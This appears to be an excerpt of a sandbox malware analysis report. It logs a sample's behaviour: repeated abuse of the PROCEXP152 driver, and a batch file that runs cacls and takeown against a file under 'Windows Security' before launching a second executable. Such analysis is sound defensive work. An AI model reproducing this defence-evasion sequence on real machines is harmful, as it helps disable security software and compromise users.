Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	15	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	13	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	1	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	15	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	16	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	2	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	9	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	3	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	8	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	10	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	7	Fn Data
Process	Open	desired_access = PROCESS_QUERY_INFORMATION	1	Fn
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x8335000c	1	Fn Data
Driver	Control	driver_name = \\.\PROCEXP152, control_code = 0x83350048	11	Fn Data
System	Get Info	type = Operating System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 29	1	Fn Data
Module	Get Handle	module_name = mscoree.dll	1	Fn

Process #38: cmd.exe

343

0

»

Information	Value
ID	#38
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\vt mapping.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:03

OS Process Information

»

Information	Value
PID	0x1088
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F4C 0x A60

Threads

Thread 0xf4c

343

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 120, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 70	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0xf98, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 55	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0xee8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 21	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "vt mapping.exe"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "vt mapping.exe"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 59	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 41	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1394, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

